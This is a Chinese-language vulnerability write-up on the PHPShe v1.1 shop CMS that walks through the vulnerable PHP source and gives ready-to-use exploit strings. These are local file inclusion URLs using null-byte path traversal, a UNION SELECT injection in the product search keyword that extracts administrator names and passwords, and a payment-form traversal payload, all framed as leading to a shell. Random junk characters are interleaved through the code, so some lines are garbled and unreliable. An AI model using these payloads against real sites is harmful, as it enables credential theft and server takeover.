phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
; r: ]& ], ?3 {" K# `/* Phpshe v1.1 Vulnerability
  \/ c, ^4 h/ H/ g/* ========================
& O. A% z6 ^: c/* By: : Kn1f3
/* E-Mail : [email protected]
6 w7 K9 @$ i+ g/ A7 q/*******************************************************/
! g: z; p2 [6 h/ @% _0×00 整体大概参数传输
" X$ C( Y8 i3 h. ^& {1 ~" @


//common.php
' m/ |8 a" D" S4 n5 `if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
; I" C, r( Z: ]- _' H; U- z& A4 B' p}
7 m# {5 o/ p9 O2 b  x( Hsession_start();
% _0 P7 ^# H8 m+ [!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
' ^9 y( [4 O% L- I, R2 e3 _+ m!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

3 m; c. f( C7 x9 d7 A8 u) i0×01 包含漏洞

  B, f. G9 d$ {# C+ v3 Z
//首页文件
  G! l; w! n  Y( z2 a3 O) f1 {<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
: {2 X. f. ]; B' d2 @; [- Xinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
8 x+ e3 J; u1 Zpe_result();
, }) z4 y  s& T, z, F?>
& B* `6 J" W9 w( k9 O//common 文件 第15行开始
4 |) r" n1 ]# X( T. \. X( F( ]url路由配置
0 P- L+ U& j# d, {) y# D- v$module = $mod = $act = 'index';
  J/ i0 z1 D) W6 z7 K4 d$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
- F2 |- X  K( }! d5 [- D$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
6 `6 u+ d- s5 P  p, X# v$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
, \5 n; [: c  L  T* Q//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
6 c" o+ Q7 `0 ]9 Y: U

5 |5 R! o$ Y1 e  D* e
" e/ V! X' D& [5 V6 ^: K0 @- T2 i 0×02 搜索注入
9 b6 x6 Q- z. i( i4 c: j" }
<code id="code2">

//product.php文件
case 'list':
, Y3 d2 `3 ?$ r  X( {$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
  m' e! g& F. \# Q' ]//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
/ k3 @. P) K+ k" P4 Q1 S0 n  cwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
3 x" ]* T) J; ^( s0 L9 ~}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
/ V+ v2 v7 e/ v5 t4 ^$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
! D3 D2 e( a# a0 ]7 Z3 n}
else {
) e0 X/ H3 [1 e$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
5 [+ c- t$ Q$ E0 Q9 z# `+ W! m: e$nowpath = category_path($category_id);
* ^1 @1 a' E5 g& H) W# i$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
' \! O( V9 [. _; f# ]# ]' ]0 B//exp
3 |9 \$ N8 v& g$ H) i1 Bproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
! v+ i1 w2 v+ `8 W, E' X' f

</code>

0×03 包含漏洞2
* k! K. P- D% s4 k5 N8 n% l' v: W9 t
3 d8 c0 F3 j8 K& G. T, n% }4 N<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

9 r. S# e: q. {2 {3 ~$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

9 M9 v1 X8 w* H+ f  f3 }* J* K0 H$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

+ ?, F5 A7 j9 o& S/ A. }3 tif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

+ D, S5 q4 A, ~' K9 v5 T; u}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

3 x. y4 W9 V0 i/ x!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

* H' s* ^0 }- M1 d/ \, \$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

4 ~6 V6 p& E. V( Q+ t' V3 n6 a' a( A+ qforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

- G* f* D0 o0 l3 G& w0 `}

9 J: b6 x' m' z6 ~9 c! A8 kecho '正在为您连接支付网站，请稍后...';

2 s2 D. e5 Y6 k9 J, `5 R% X$ l! Winclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

2 H; T% B  B8 J0 tpe_error('支付错误...');

- ]$ Y0 E: G3 R5 ]0 X) s9 B1 _5 g}

}

$seo = pe_seo('选择支付方式');

' }6 M# W  j3 b7 L: S2 d: zinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
  O1 h9 X/ W5 |7 x& Ohttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg